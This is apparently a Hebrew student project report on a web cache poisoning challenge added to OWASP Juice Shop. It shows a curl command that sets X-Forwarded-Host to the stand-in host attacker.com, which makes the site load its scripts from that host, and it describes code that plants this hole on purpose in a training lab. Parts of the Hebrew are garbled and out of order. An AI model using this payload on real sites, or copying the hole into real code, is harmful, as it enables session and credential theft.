

## דוח סיכון פרויקט: הרעלת מטמון (Web Cache Poisoning)

מגישיים: יובל בץ ואביב עמידוב

### תיאור החולשה והרעה התאורטי:

תגונה זו היא טכניקת תקיפה מתقدמת שבה התוקף מתמן את השרת כדי לגרום לו ליצור תגונה היא שמנגן ה-**Cache**, שנועד לשפר ביצועים, הופך למופיע של המתקפה: כל משתמש לgitימי שיבקש את אותו הדף, יקבל מה-**Cache** את התגונה "המורעלת" מבלי שהתוכן יctrur לבוא אליו באופן רצוי ישרה. בימוש זה התמקנו בשיטה המורכבת של **Base URL Override**.

**כיצד היא נוצרת :** החולשה נוצרת כתוצאה מפער טכני בין האופן שבו Cache מזזה בקשות לבין האופן שבו השרת מייצר את התגנות. מנגנון Cache משתמש על "מפתח מטמון" (Cache Key) - לרבות צירוף של נתיב ה-URL ומתוודת הבקשה (למשל GET /). במקביל, בקשות HTTP מכילות "קליטים שאינם חלק מהמפתח" (Unkeyed Inputs), כגון כותרות (Headers) כמו X-Forwarded-Host. החולשה מתרכשת כאשר מתקיימים שני שלבים: הראשון שלב ההרעללה poisoning גרים את השרת לייצר תגונה המכילה Payload במקורה זה, שני כתובת הבסיס של האתר. השני וידוא שהtagona נשמרה ב- Cache-Header. ומוגשת למשתמשים אחרים המבקשים את אותו ה- URL. כך, השרת מוחזר דף המכיל את התוכן של התוקף, וה- Cache מאחסן אותו עבור כל המשתמשים.

**מה תוקף יכול להשיג באמצעות Base URL Override :** באמצעות Base URL Override תוקף יכול לבצע "חטיפת משאבים" ע"י שינוי הכתובת ממנו נטען קבצי ה- JavaScript של האתר. התוקף יכול לגרום לדפדן של כל קורבן להוריד קוד זמני משרת חיצוני, מה שמאפשר גניבת פרטי אשראי, Session Tokens והשתלטות מלאה על חשבונות המשתמשים בחנות.

ברגע שהדף הראשי של האתר מורעל, התוקף יכול:

- לגנוב עוגיות (Cookies) ו-Session Tokens של כל משתמש שմבקר באתר.
- לבצע פועלות בשם המשתמשים מבלי ידיעתם (Session Hijacking).
- לבצע השחתה (Defacement) של דף הבית.
- **טכנולוגיות :**

בחנות בטלול B הוספה אטגר לפרויקט קוד פתוח קיים שמננו גם למדנו בסמסטר juice-shop .  
**שפויות תוכנות:** TypeScript עבר הלוגיקה של השרת ורישום האטגר. **סביבה צד-שרת (Backend** (Node.js המריץ שרת מסוג Express).

יצרנו Middleware ייעודי שمدמה מנגן Caching פגיע בזיכרון השרת.  
**סביבה צד-לקוח (Frontend):** Angular (שפת frontend שבה כתבו את Shop Juicer, שתוכנה הזרק הסקריפט). בנוסף הם השתמשו גם במסד הנתונים של sqlite .

כלים המשמשים לביצוע הדגמה :

- **Node Package Manager (npm)** : קיימפול של קבצי javascript-typescript לשילוח השרות המקיים ע"י הפקודות npm run build:server -o .
- **cURL (Command Line Tool)** : כל שורת פקודה ששימוש לשילוח בקשוט HTTP מותאמת אישית. באמצעות כל זה התאפשרה שליחת הבקשה עם ה-Header X-Forwarded-Host (הזדוני) במאפשרת את הבדיקה הרגילה של הדפדף ולהריעיל את השרות. attacker.com
- **דפדפן אינטרנט (Web Browser)**: לאיומות סופי של הצלחת המתקפה וקבלת האישור החוזי בלוח הניקוד (Score Board) של המערכת.

### תיאור ה-POC

ה-POC ממחיש כיצד תוקף יכול לשבש את תשתיית האתר (Infrastructure) של אפליקציית OWASP Juice Shop על ידי שינוי ה-URL Base URL שלה. במקרה הזרקת סקריפט בודד, התוקף משתמש ב-Web JS, CSS Cache Poisoning כדי "להשתלט" על המקור ממנו הדפדף טען את כל משאבי המערכת (Score Board).

שלבי הניצול:

- **שלב א': ייצור התגובה המורעלת (Poisoning)**: זיהוי החולשה: התוקף מזהה שהשרת (בקובץ routes/angular.ts) משתמש בcotract X-Forwarded-Host (routes/angular.ts) לתקן ה-HTML.
- **שלב ב': אחסון ב-Cache**: הזרקת ה-X-Forwarded-Host: Payload: התוקף שולח בקשה HTTP הכוללת את הcotract הזרקת ה-X-Forwarded-Host:attacker.com.
- **שלב ג': שימוש ב-Base**: עיבוד בשרת: השרת מקבל את הבקשה, ומיציר דף HTML שבו מופיע השורה: <base href="//attacker.com" /> מיד לאחר פתיחת תגית ה-head.
- **שלב ד': אחסון ב-Cache**: כניסה לקורבן (Serving Cache): כניסה למطمון: ה-Middleware של ה-Cache (בקובץ lib/cacheMiddleware.ts) שומר את התגובה המורעלת בזיכרון תחת מפתח המטמון "/" (דף הבית).
- **שלב ה': בקשת הקורבן**: בקשת הקורבן: קורבן תמיין ניגש לאתר localhost:3000 בבקשת רגילה.
- **שלב ג': מסירת הרעל**: שרת ה-Cache מזהה שיש לו תגובה מוכנה בזיכרון ומגיש לקורבן את ה-HTML המורעל.
- **שלב ד': ביצוע המתקפה בדפדפן**: הדפדף של הקורבן קורא את תגית ה-base המורעלת ומנסה לטען את כל קבצי ה-HTML (כמו js.main.js) מהדומיין attacker.com במקום מהשרת המקורי.
- **שלב ה': פקודת התוקף להרעלת המטמון**:

curl.exe -v -H "X-Forwarded-Host: attacker.com" <http://localhost:3000>

- בקשה הקורבן (בדפדפן או ב-cURL ללא Headers):

/ curl.exe http://localhost:3000

תוצאה בפועל של הניצול

כתוצאה מהמתקפה, השרת מוחזיר מה-Cache HTML קוד הוכחת הצלחה:

חזותית: האתר מוצג כדף אפור/ריק מאחר והמשאים הクリיטיים (JS) לא נטען מהמקור הנוכחי. Access to script at 'http://attacker.com/...'.  
טכנית (Console): בדף מופיעות שגיאות מסוג "has been blocked by CORS policy". זה מוכיח שהדף אכן ניסה לטען את הקוד משרת התוקף.  
מערכתית: בלוח הניקוד (Score Board) של Juice Shop, האתגר "Cache Poisoning" מסומן ב-7 רוק (Solved).

### **כיצד ניתן למנוע את החולשה:**

הדרך העילית ביותר למנוע את החולשה היא לוודא שכל קלט שימושי על תוכן התגובה יהיה חלק בלתי נפרד מפתח המטען כך שהמערכת לא תתבלב בין גרסאות שונות של אותו הדף. ניתן להשתמש בכותרת `Vary` המוראה למטען לשומר עותקים נפרדים עבור כל ערך שונה של כותרת הבקשה ובמקביל מומלץ להימנע לחולטן משימוש בכותרות חיצונית לצורך בניית URL בתוך הקוד ולהסתמך רק על הגדרות שרת קבוצות ומאמבטחות. כהגנה נוספת כדאי לגדיר מדיניות אבטחה מסוג CSP שתמנע מהדפדף לטען משאים מקוריים לא מורשים גם במקרה שבו המטען עבר הרעלת מוצחת.

### **קבצים חדשים שייצרנו**

lib/cacheMiddleware.ts

מיושן שכבת ה Cache הפעילה קובץ זה מכיל את הלוגיקה ששומרת דפי HTML בזיכרון השרת לפי נתיב ה URL בלבד תוך התעלמות מכותרות Headers. הקובץ בודק אם התגובה המוגשת מה Cache מכילה כתובות בסיס מורעלת ואם כן קורא לפונקציית הפטרון של האתגר.

### **קבצים קיימים ששינו**

data/static/challenges.yml

הגדרת האתגר בלוח המשימות Score Board הוספה בלוק נתונים כולל את שם האתגר Cache Poisoning Cache Score Board רמת הקושי Vulnerable Infrastructure 4 ורמזים למשתמש.

models/challenge.ts

רישום מפתח האתגר במודול הנתונים הוספה המפתח cachePoisoningChallenge לרשימה האתגרים המוכרים על ידי השירות לצורך מעקב אחר פתרונות.

routes/angular.ts

שינויי פונקציית serveAngularClient כך שתזזה את הכתובת Forwarded Host X ותזריק באופן אקטיבי תגית base מורעלת לתוך ה HTML של דף הבית.

server.ts

הגדרת מחזור החיים של בקשות בשרת Middleware Pipeline רישום ה cacheMiddleware ומיקומו בתחילת שרשרת לפני הגשת קבצים סטטיים כדי להבטיח שהרעלת המטען תבוצע ותוגש כראוי.

### **מקורות:**

1. [Web cache poisoning vulnerability tutorial](#) : PortSwigger Web Security Academy

2. [Cache Poisoning](#) : OWASP

3. [MDN Web Docs \(Express.js\)](#): שמאן בעצם נעזרנו בכתיבת הקוד תיעוד رسمي הנוגע לכתיבה

- . [Express Middleware](#) Middlewares

